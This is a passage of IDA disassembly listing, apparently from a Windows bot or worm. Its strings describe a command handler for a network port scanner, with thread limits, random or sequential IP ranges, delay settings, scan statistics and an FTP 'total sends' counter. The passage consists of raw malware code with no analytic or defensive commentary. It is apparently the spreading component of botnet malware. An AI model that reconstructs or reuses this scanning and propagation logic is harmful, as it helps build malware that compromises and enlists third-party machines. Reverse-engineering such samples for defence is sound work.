		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FCB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB90[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63B0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44768F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444448
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444448


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EFFD5
		mov	eax, dword_444448
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444450


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EFFD5
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EFFD5
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444448
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444448
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444448[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DD4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset aR	; " -r"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60CD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset aR	; " -r"
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60CD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44442Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F70
		mov	ecx, offset dword_447998
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60B5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444450[eax*4]
		inc	ecx
		mov	dword_444450[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAE8
		nop
		call	sub_5EFFD5
		mov	eax, offset dword_50DAE8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB90[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB90[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

